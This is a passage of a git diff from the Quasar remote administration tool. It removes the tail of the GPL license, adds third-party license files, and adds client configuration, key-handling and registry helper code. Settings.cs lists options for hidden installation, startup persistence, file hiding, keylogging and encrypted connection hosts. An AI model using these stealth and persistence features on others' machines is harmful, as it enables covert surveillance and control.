-this License. Any attempt otherwise to propagate or modify it is void, and will
-automatically terminate your rights under this License (including any patent licenses
-granted under the third paragraph of section 11).
-
-However, if you cease all violation of this License, then your license from a
-particular copyright holder is reinstated (a) provisionally, unless and until the
-copyright holder explicitly and finally terminates your license, and (b) permanently,
-if the copyright holder fails to notify you of the violation by some reasonable means
-prior to 60 days after the cessation.
-
-Moreover, your license from a particular copyright holder is reinstated permanently
-if the copyright holder notifies you of the violation by some reasonable means, this
-is the first time you have received notice of violation of this License (for any
-work) from that copyright holder, and you cure the violation prior to 30 days after
-your receipt of the notice.
-
-Termination of your rights under this section does not terminate the licenses of
-parties who have received copies or rights from you under this License. If your
-rights have been terminated and not permanently reinstated, you do not qualify to
-receive new licenses for the same material under section 10.
-
-### 9. Acceptance Not Required for Having Copies.
-
-You are not required to accept this License in order to receive or run a copy of the
-Program. Ancillary propagation of a covered work occurring solely as a consequence of
-using peer-to-peer transmission to receive a copy likewise does not require
-acceptance. However, nothing other than this License grants you permission to
-propagate or modify any covered work. These actions infringe copyright if you do not
-accept this License. Therefore, by modifying or propagating a covered work, you
-indicate your acceptance of this License to do so.
-
-### 10. Automatic Licensing of Downstream Recipients.
-
-Each time you convey a covered work, the recipient automatically receives a license
-from the original licensors, to run, modify and propagate that work, subject to this
-License. You are not responsible for enforcing compliance by third parties with this
-License.
-
-An “entity transaction” is a transaction transferring control of an
-organization, or substantially all assets of one, or subdividing an organization, or
-merging organizations. If propagation of a covered work results from an entity
-transaction, each party to that transaction who receives a copy of the work also
-receives whatever licenses to the work the party's predecessor in interest had or
-could give under the previous paragraph, plus a right to possession of the
-Corresponding Source of the work from the predecessor in interest, if the predecessor
-has it or can get it with reasonable efforts.
-
-You may not impose any further restrictions on the exercise of the rights granted or
-affirmed under this License. For example, you may not impose a license fee, royalty,
-or other charge for exercise of rights granted under this License, and you may not
-initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging
-that any patent claim is infringed by making, using, selling, offering for sale, or
-importing the Program or any portion of it.
-
-### 11. Patents.
-
-A “contributor” is a copyright holder who authorizes use under this
-License of the Program or a work on which the Program is based. The work thus
-licensed is called the contributor's “contributor version”.
-
-A contributor's “essential patent claims” are all patent claims owned or
-controlled by the contributor, whether already acquired or hereafter acquired, that
-would be infringed by some manner, permitted by this License, of making, using, or
-selling its contributor version, but do not include claims that would be infringed
-only as a consequence of further modification of the contributor version. For
-purposes of this definition, “control” includes the right to grant patent
-sublicenses in a manner consistent with the requirements of this License.
-
-Each contributor grants you a non-exclusive, worldwide, royalty-free patent license
-under the contributor's essential patent claims, to make, use, sell, offer for sale,
-import and otherwise run, modify and propagate the contents of its contributor
-version.
-
-In the following three paragraphs, a “patent license” is any express
-agreement or commitment, however denominated, not to enforce a patent (such as an
-express permission to practice a patent or covenant not to sue for patent
-infringement). To “grant” such a patent license to a party means to make
-such an agreement or commitment not to enforce a patent against the party.
-
-If you convey a covered work, knowingly relying on a patent license, and the
-Corresponding Source of the work is not available for anyone to copy, free of charge
-and under the terms of this License, through a publicly available network server or
-other readily accessible means, then you must either (1) cause the Corresponding
-Source to be so available, or (2) arrange to deprive yourself of the benefit of the
-patent license for this particular work, or (3) arrange, in a manner consistent with
-the requirements of this License, to extend the patent license to downstream
-recipients. “Knowingly relying” means you have actual knowledge that, but
-for the patent license, your conveying the covered work in a country, or your
-recipient's use of the covered work in a country, would infringe one or more
-identifiable patents in that country that you have reason to believe are valid.
-
-If, pursuant to or in connection with a single transaction or arrangement, you
-convey, or propagate by procuring conveyance of, a covered work, and grant a patent
-license to some of the parties receiving the covered work authorizing them to use,
-propagate, modify or convey a specific copy of the covered work, then the patent
-license you grant is automatically extended to all recipients of the covered work and
-works based on it.
-
-A patent license is “discriminatory” if it does not include within the
-scope of its coverage, prohibits the exercise of, or is conditioned on the
-non-exercise of one or more of the rights that are specifically granted under this
-License. You may not convey a covered work if you are a party to an arrangement with
-a third party that is in the business of distributing software, under which you make
-payment to the third party based on the extent of your activity of conveying the
-work, and under which the third party grants, to any of the parties who would receive
-the covered work from you, a discriminatory patent license (a) in connection with
-copies of the covered work conveyed by you (or copies made from those copies), or (b)
-primarily for and in connection with specific products or compilations that contain
-the covered work, unless you entered into that arrangement, or that patent license
-was granted, prior to 28 March 2007.
-
-Nothing in this License shall be construed as excluding or limiting any implied
-license or other defenses to infringement that may otherwise be available to you
-under applicable patent law.
-
-### 12. No Surrender of Others' Freedom.
-
-If conditions are imposed on you (whether by court order, agreement or otherwise)
-that contradict the conditions of this License, they do not excuse you from the
-conditions of this License. If you cannot convey a covered work so as to satisfy
-simultaneously your obligations under this License and any other pertinent
-obligations, then as a consequence you may not convey it at all. For example, if you
-agree to terms that obligate you to collect a royalty for further conveying from
-those to whom you convey the Program, the only way you could satisfy both those terms
-and this License would be to refrain entirely from conveying the Program.
-
-### 13. Use with the GNU Affero General Public License.
-
-Notwithstanding any other provision of this License, you have permission to link or
-combine any covered work with a work licensed under version 3 of the GNU Affero
-General Public License into a single combined work, and to convey the resulting work.
-The terms of this License will continue to apply to the part which is the covered
-work, but the special requirements of the GNU Affero General Public License, section
-13, concerning interaction through a network will apply to the combination as such.
-
-### 14. Revised Versions of this License.
-
-The Free Software Foundation may publish revised and/or new versions of the GNU
-General Public License from time to time. Such new versions will be similar in spirit
-to the present version, but may differ in detail to address new problems or concerns.
-
-Each version is given a distinguishing version number. If the Program specifies that
-a certain numbered version of the GNU General Public License “or any later
-version” applies to it, you have the option of following the terms and
-conditions either of that numbered version or of any later version published by the
-Free Software Foundation. If the Program does not specify a version number of the GNU
-General Public License, you may choose any version ever published by the Free
-Software Foundation.
-
-If the Program specifies that a proxy can decide which future versions of the GNU
-General Public License can be used, that proxy's public statement of acceptance of a
-version permanently authorizes you to choose that version for the Program.
-
-Later license versions may give you additional or different permissions. However, no
-additional obligations are imposed on any author or copyright holder as a result of
-your choosing to follow a later version.
-
-### 15. Disclaimer of Warranty.
-
-THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
-EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER
-EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE
-QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE
-DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
-
-### 16. Limitation of Liability.
-
-IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY
-COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS
-PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL,
-INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
-PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE
-OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE
-WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-### 17. Interpretation of Sections 15 and 16.
-
-If the disclaimer of warranty and limitation of liability provided above cannot be
-given local legal effect according to their terms, reviewing courts shall apply local
-law that most closely approximates an absolute waiver of all civil liability in
-connection with the Program, unless a warranty or assumption of liability accompanies
-a copy of the Program in return for a fee.
-
-END OF TERMS AND CONDITIONS
-
-## How to Apply These Terms to Your New Programs
-
-If you develop a new program, and you want it to be of the greatest possible use to
-the public, the best way to achieve this is to make it free software which everyone
-can redistribute and change under these terms.
-
-To do so, attach the following notices to the program. It is safest to attach them
-to the start of each source file to most effectively state the exclusion of warranty;
-and each file should have at least the “copyright” line and a pointer to
-where the full notice is found.
-
-
- Copyright (C)
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program does terminal interaction, make it output a short notice like this
-when it starts in an interactive mode:
-
- Copyright (C)
- This program comes with ABSOLUTELY NO WARRANTY; for details type 'show w'.
- This is free software, and you are welcome to redistribute it
- under certain conditions; type 'show c' for details.
-
-The hypothetical commands 'show w' and 'show c' should show the appropriate parts of
-the General Public License. Of course, your program's commands might be different;
-for a GUI interface, you would use an “about box”.
-
-You should also get your employer (if you work as a programmer) or school, if any, to
-sign a “copyright disclaimer” for the program, if necessary. For more
-information on this, and how to apply and follow the GNU GPL, see
-<>.
-
-The GNU General Public License does not permit incorporating your program into
-proprietary programs. If your program is a subroutine library, you may consider it
-more useful to permit linking proprietary applications with the library. If this is
-what you want to do, use the GNU Lesser General Public License instead of this
-License. But first, please read
-<>.
\ No newline at end of file
diff --git a/Licenses/Be.HexEditor_license.txt b/Licenses/Be.HexEditor_license.txt
new file mode 100644
index 000000000..2f8576c92
--- /dev/null
+++ b/Licenses/Be.HexEditor_license.txt
@@ -0,0 +1,21 @@
+The MIT License
+
+Copyright (c) 2011 Bernhard Elbl
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
diff --git a/Licenses/BouncyCastle_license.html b/Licenses/BouncyCastle_license.html
new file mode 100644
index 000000000..829aa6ba3
--- /dev/null
+++ b/Licenses/BouncyCastle_license.html
@@ -0,0 +1,39 @@
+
+
+
+
+ License
+
+
+The Bouncy Castle Cryptographic C#® API
+License:
+The Bouncy Castle License
+Copyright (c) 2000-2018 The Legion of the Bouncy Castle Inc.
+(https://www.bouncycastle.org)
+Permission is hereby granted, free of charge, to any person obtaining a
+copy of this software and associated documentation files (the "Software"), to deal in the
+Software without restriction, including without limitation the rights to use, copy, modify, merge,
+publish, distribute, sub license, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included
+in all copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS",
+WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+INCLUDING BUT NOT LIMITED TO THE
+WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+PURPOSE AND NONINFRINGEMENT. IN NO
+EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
+OTHERWISE, ARISING FROM, OUT OF OR IN
+CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.
+
+
+
+
diff --git a/Licenses/GlobalMouseKeyHook_license.txt b/Licenses/GlobalMouseKeyHook_license.txt
new file mode 100644
index 000000000..78d975775
--- /dev/null
+++ b/Licenses/GlobalMouseKeyHook_license.txt
@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2010-2018 George Mamaladze
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
diff --git a/Licenses/Mono.Cecil_license.txt b/Licenses/Mono.Cecil_license.txt
new file mode 100644
index 000000000..afd0ae681
--- /dev/null
+++ b/Licenses/Mono.Cecil_license.txt
@@ -0,0 +1,21 @@
+Copyright (c) 2008 - 2015 Jb Evain
+Copyright (c) 2008 - 2011 Novell, Inc.
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/Licenses/Open.Nat_license.txt b/Licenses/Open.Nat_license.txt
new file mode 100644
index 000000000..cb71efb77
--- /dev/null
+++ b/Licenses/Open.Nat_license.txt
@@ -0,0 +1,23 @@
+The MIT License
+
+Copyright (C) 2006 Alan McGovern
+Copyright (C) 2007 Ben Motmans
+Copyright (C) 2014 Lucas Ontivero
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
diff --git a/Licenses/ResourceLib_license.txt b/Licenses/ResourceLib_license.txt
new file mode 100644
index 000000000..cd812d8ef
--- /dev/null
+++ b/Licenses/ResourceLib_license.txt
@@ -0,0 +1,20 @@
+Copyright (c) 2008-2016 Daniel Doubrovkine, Vestris Inc.
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/Licenses/SilkIcons_license.txt b/Licenses/SilkIcons_license.txt
new file mode 100644
index 000000000..e1c6e8de7
--- /dev/null
+++ b/Licenses/SilkIcons_license.txt
@@ -0,0 +1,2 @@
+Silk icon set 1.3 by Mark James
+http://www.famfamfam.com/lab/icons/silk/
diff --git a/Licenses/protobuf-net_license.txt b/Licenses/protobuf-net_license.txt
new file mode 100644
index 000000000..692cf3bac
--- /dev/null
+++ b/Licenses/protobuf-net_license.txt
@@ -0,0 +1,20 @@
+The core Protocol Buffers technology is provided courtesy of Google.
+At the time of writing, this is released under the BSD license.
+Full details can be found here:
+
+http://code.google.com/p/protobuf/
+
+
+This .NET implementation is Copyright 2008 Marc Gravell
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs
new file mode 100644
index 000000000..82cc48c2e
--- /dev/null
+++ b/Quasar.Client/Config/Settings.cs
@@ -0,0 +1,113 @@
+using Quasar.Common.Cryptography;
+using System;
+using System.IO;
+using System.Security.Cryptography;
+using System.Security.Cryptography.X509Certificates;
+using System.Text;
+using System.Windows.Forms;
+
+namespace Quasar.Client.Config
+{
+ ///
+ /// Stores the configuration of the client.
+ ///
+ public static class Settings
+ {
+#if DEBUG
+ public static string VERSION = Application.ProductVersion;
+ public static string HOSTS = "localhost:4782;";
+ public static int RECONNECTDELAY = 500;
+ public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
+ public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
+ public static string SUBDIRECTORY = "Test";
+ public static string INSTALLNAME = "test.exe";
+ public static bool INSTALL = false;
+ public static bool STARTUP = false;
+ public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
+ public static string STARTUPKEY = "Test key";
+ public static bool HIDEFILE = false;
+ public static bool ENABLELOGGER = false;
+ public static string ENCRYPTIONKEY = "CFCD0759E20F29C399C9D4210BE614E4E020BEE8";
+ public static string TAG = "DEBUG";
+ public static string LOGDIRECTORYNAME = "Logs";
+ public static string SERVERSIGNATURE = "";
+ public static string SERVERCERTIFICATESTR = "";
+ public static X509Certificate2 SERVERCERTIFICATE;
+ public static bool HIDELOGDIRECTORY = false;
+ public static bool HIDEINSTALLSUBDIRECTORY = false;
+ public static string INSTALLPATH = "";
+ public static string LOGSPATH = "";
+ public static bool UNATTENDEDMODE = true;
+
+ public static bool Initialize()
+ {
+ SetupPaths();
+ return true;
+ }
+#else
+ public static string VERSION = "";
+ public static string HOSTS = "";
+ public static int RECONNECTDELAY = 5000;
+ public static Environment.SpecialFolder SPECIALFOLDER = Environment.SpecialFolder.ApplicationData;
+ public static string DIRECTORY = Environment.GetFolderPath(SPECIALFOLDER);
+ public static string SUBDIRECTORY = "";
+ public static string INSTALLNAME = "";
+ public static bool INSTALL = false;
+ public static bool STARTUP = false;
+ public static string MUTEX = "";
+ public static string STARTUPKEY = "";
+ public static bool HIDEFILE = false;
+ public static bool ENABLELOGGER = false;
+ public static string ENCRYPTIONKEY = "";
+ public static string TAG = "";
+ public static string LOGDIRECTORYNAME = "";
+ public static string SERVERSIGNATURE = "";
+ public static string SERVERCERTIFICATESTR = "";
+ public static X509Certificate2 SERVERCERTIFICATE;
+ public static bool HIDELOGDIRECTORY = false;
+ public static bool HIDEINSTALLSUBDIRECTORY = false;
+ public static string INSTALLPATH = "";
+ public static string LOGSPATH = "";
+ public static bool UNATTENDEDMODE = false;
+
+ public static bool Initialize()
+ {
+ if (string.IsNullOrEmpty(VERSION)) return false;
+ var aes = new Aes256(ENCRYPTIONKEY);
+ TAG = aes.Decrypt(TAG);
+ VERSION = aes.Decrypt(VERSION);
+ HOSTS = aes.Decrypt(HOSTS);
+ SUBDIRECTORY = aes.Decrypt(SUBDIRECTORY);
+ INSTALLNAME = aes.Decrypt(INSTALLNAME);
+ MUTEX = aes.Decrypt(MUTEX);
+ STARTUPKEY = aes.Decrypt(STARTUPKEY);
+ LOGDIRECTORYNAME = aes.Decrypt(LOGDIRECTORYNAME);
+ SERVERSIGNATURE = aes.Decrypt(SERVERSIGNATURE);
+ SERVERCERTIFICATE = new X509Certificate2(Convert.FromBase64String(aes.Decrypt(SERVERCERTIFICATESTR)));
+ SetupPaths();
+ return VerifyHash();
+ }
+#endif
+
+ static void SetupPaths()
+ {
+ LOGSPATH = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), LOGDIRECTORYNAME);
+ INSTALLPATH = Path.Combine(DIRECTORY, (!string.IsNullOrEmpty(SUBDIRECTORY) ? SUBDIRECTORY + @"\" : "") + INSTALLNAME);
+ }
+
+ static bool VerifyHash()
+ {
+ try
+ {
+ var csp = (RSACryptoServiceProvider) SERVERCERTIFICATE.PublicKey.Key;
+ return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(ENCRYPTIONKEY)), CryptoConfig.MapNameToOID("SHA256"),
+ Convert.FromBase64String(SERVERSIGNATURE));
+
+ }
+ catch (Exception)
+ {
+ return false;
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/Extensions/KeyExtensions.cs b/Quasar.Client/Extensions/KeyExtensions.cs
new file mode 100644
index 000000000..9f6c5e0c0
--- /dev/null
+++ b/Quasar.Client/Extensions/KeyExtensions.cs
@@ -0,0 +1,59 @@
+using System.Collections.Generic;
+using System.Linq;
+using System.Windows.Forms;
+
+namespace Quasar.Client.Extensions
+{
+ public static class KeyExtensions
+ {
+ public static bool ContainsModifierKeys(this List pressedKeys)
+ {
+ return pressedKeys.Any(x => x.IsModifierKey());
+ }
+
+ public static bool IsModifierKey(this Keys key)
+ {
+ return (key == Keys.LControlKey
+ || key == Keys.RControlKey
+ || key == Keys.LMenu
+ || key == Keys.RMenu
+ || key == Keys.LWin
+ || key == Keys.RWin
+ || key == Keys.Control
+ || key == Keys.Alt);
+ }
+
+ public static bool ContainsKeyChar(this List pressedKeys, char c)
+ {
+ return pressedKeys.Contains((Keys)char.ToUpper(c));
+ }
+
+ public static bool IsExcludedKey(this Keys k)
+ {
+ // The keys below are excluded. If it is one of the keys below,
+ // the KeyPress event will handle these characters. If the keys
+ // are not any of those specified below, we can continue.
+ return (k >= Keys.A && k <= Keys.Z
+ || k >= Keys.NumPad0 && k <= Keys.Divide
+ || k >= Keys.D0 && k <= Keys.D9
+ || k >= Keys.Oem1 && k <= Keys.OemClear
+ || k >= Keys.LShiftKey && k <= Keys.RShiftKey
+ || k == Keys.CapsLock
+ || k == Keys.Space);
+ }
+
+ public static string GetDisplayName(this Keys key)
+ {
+ string name = key.ToString();
+ if (name.Contains("ControlKey"))
+ return "Control";
+ else if (name.Contains("Menu"))
+ return "Alt";
+ else if (name.Contains("Win"))
+ return "Win";
+ else if (name.Contains("Shift"))
+ return "Shift";
+ return name;
+ }
+ }
+}
diff --git a/Quasar.Client/Extensions/ProcessExtensions.cs b/Quasar.Client/Extensions/ProcessExtensions.cs
new file mode 100644
index 000000000..072b5ae74
--- /dev/null
+++ b/Quasar.Client/Extensions/ProcessExtensions.cs
@@ -0,0 +1,19 @@
+using Quasar.Client.Utilities;
+using System.Diagnostics;
+using System.Text;
+
+namespace Quasar.Client.Extensions
+{
+ public static class ProcessExtensions
+ {
+ public static string GetMainModuleFileName(this Process proc)
+ {
+ uint nChars = 260;
+ StringBuilder buffer = new StringBuilder((int)nChars);
+
+ var success = NativeMethods.QueryFullProcessImageName(proc.Handle, 0, buffer, ref nChars);
+
+ return success ? buffer.ToString() : null;
+ }
+ }
+}
diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Quasar.Client/Extensions/RegistryKeyExtensions.cs
similarity index 79%
rename from Client/Core/Extensions/RegistryKeyExtensions.cs
rename to Quasar.Client/Extensions/RegistryKeyExtensions.cs
index 6682ad49c..37cd7b456 100644
--- a/Client/Core/Extensions/RegistryKeyExtensions.cs
+++ b/Quasar.Client/Extensions/RegistryKeyExtensions.cs
@@ -1,10 +1,14 @@
-using System.Collections.Generic;
-using Microsoft.Win32;
-using System.Linq;
+using Microsoft.Win32;
+using Quasar.Common.Utilities;
using System;
+using System.Collections.Generic;
+using System.Linq;
-namespace xClient.Core.Extensions
+namespace Quasar.Client.Extensions
{
+ ///
+ /// Provides extensions for registry key and value operations.
+ ///
public static class RegistryKeyExtensions
{
///
@@ -24,7 +28,7 @@ private static bool IsNameOrValueNull(this string keyName, RegistryKey key)
///
/// The key of which we obtain the value of.
/// The name of the key.
- /// The default value if value can not be determinated.
+ /// The default value if value can not be determined.
/// Returns the value of the key using the specified key name. If unable to do so,
/// defaultValue will be returned instead.
public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "")
@@ -106,13 +110,12 @@ public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name)
///
/// The key of which the sub-key is to be deleted from.
/// The name of the sub-key.
- /// Returns boolean value if the action succeded or failed
- ///
+ /// Returns true if the action succeeded, otherwise false.
public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
{
try
{
- key.DeleteSubKeyTree(name, false);
+ key.DeleteSubKeyTree(name, true);
return true;
}
catch
@@ -121,8 +124,6 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
}
}
- #region Rename Key
-
/*
* Derived and Adapted from drdandle's article,
* Copy and Rename Registry Keys at Code project.
@@ -145,21 +146,20 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
/// The key of which the subkey is to be renamed from.
/// The old name of the sub-key.
/// The new name of the sub-key.
- /// Returns boolean value if the action succeded or failed; Returns
- ///
+ /// Returns true if the action succeeded, otherwise false.
public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName)
{
try
{
//Copy from old to new
key.CopyKey(oldName, newName);
- //Despose of the old key
+ //Dispose of the old key
key.DeleteSubKeyTree(oldName);
return true;
}
catch
{
- //Try to despose of the newKey (The rename failed)
+ //Try to dispose of the newKey (The rename failed)
key.DeleteSubKeyTreeSafe(newName);
return false;
}
@@ -172,8 +172,6 @@ public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string
/// The key of which the subkey is to be deleted from.
/// The old name of the sub-key.
/// The new name of the sub-key.
- /// Returns nothing
- ///
public static void CopyKey(this RegistryKey key, string oldName, string newName)
{
//Create a new key
@@ -194,8 +192,6 @@ public static void CopyKey(this RegistryKey key, string oldName, string newName)
///
/// The source key to copy from.
/// The destination key to copy to.
- /// Returns nothing
- ///
private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
{
@@ -221,10 +217,6 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
}
}
- #endregion
-
- #region Region Value
-
///
/// Attempts to set a registry value for the key provided using the specified
/// name, data and kind. If the registry value does not exist it will be created
@@ -233,11 +225,31 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
/// The name of the value.
/// The data of the value
/// The value kind of the value
- /// Returns a boolean value if the action succeded or failed.
+ /// Returns true if the action succeeded, otherwise false.
public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
{
try
{
+ // handle type conversion
+ if (kind != RegistryValueKind.Binary && data.GetType() == typeof(byte[]))
+ {
+ switch (kind)
+ {
+ case RegistryValueKind.String:
+ case RegistryValueKind.ExpandString:
+ data = ByteConverter.ToString((byte[]) data);
+ break;
+ case RegistryValueKind.DWord:
+ data = ByteConverter.ToUInt32((byte[]) data);
+ break;
+ case RegistryValueKind.QWord:
+ data = ByteConverter.ToUInt64((byte[]) data);
+ break;
+ case RegistryValueKind.MultiString:
+ data = ByteConverter.ToStringArray((byte[]) data);
+ break;
+ }
+ }
key.SetValue(name, data, kind);
return true;
}
@@ -253,7 +265,7 @@ public static bool SetValueSafe(this RegistryKey key, string name, object data,
///
/// The key of which the value is to be delete from.
/// The name of the value.
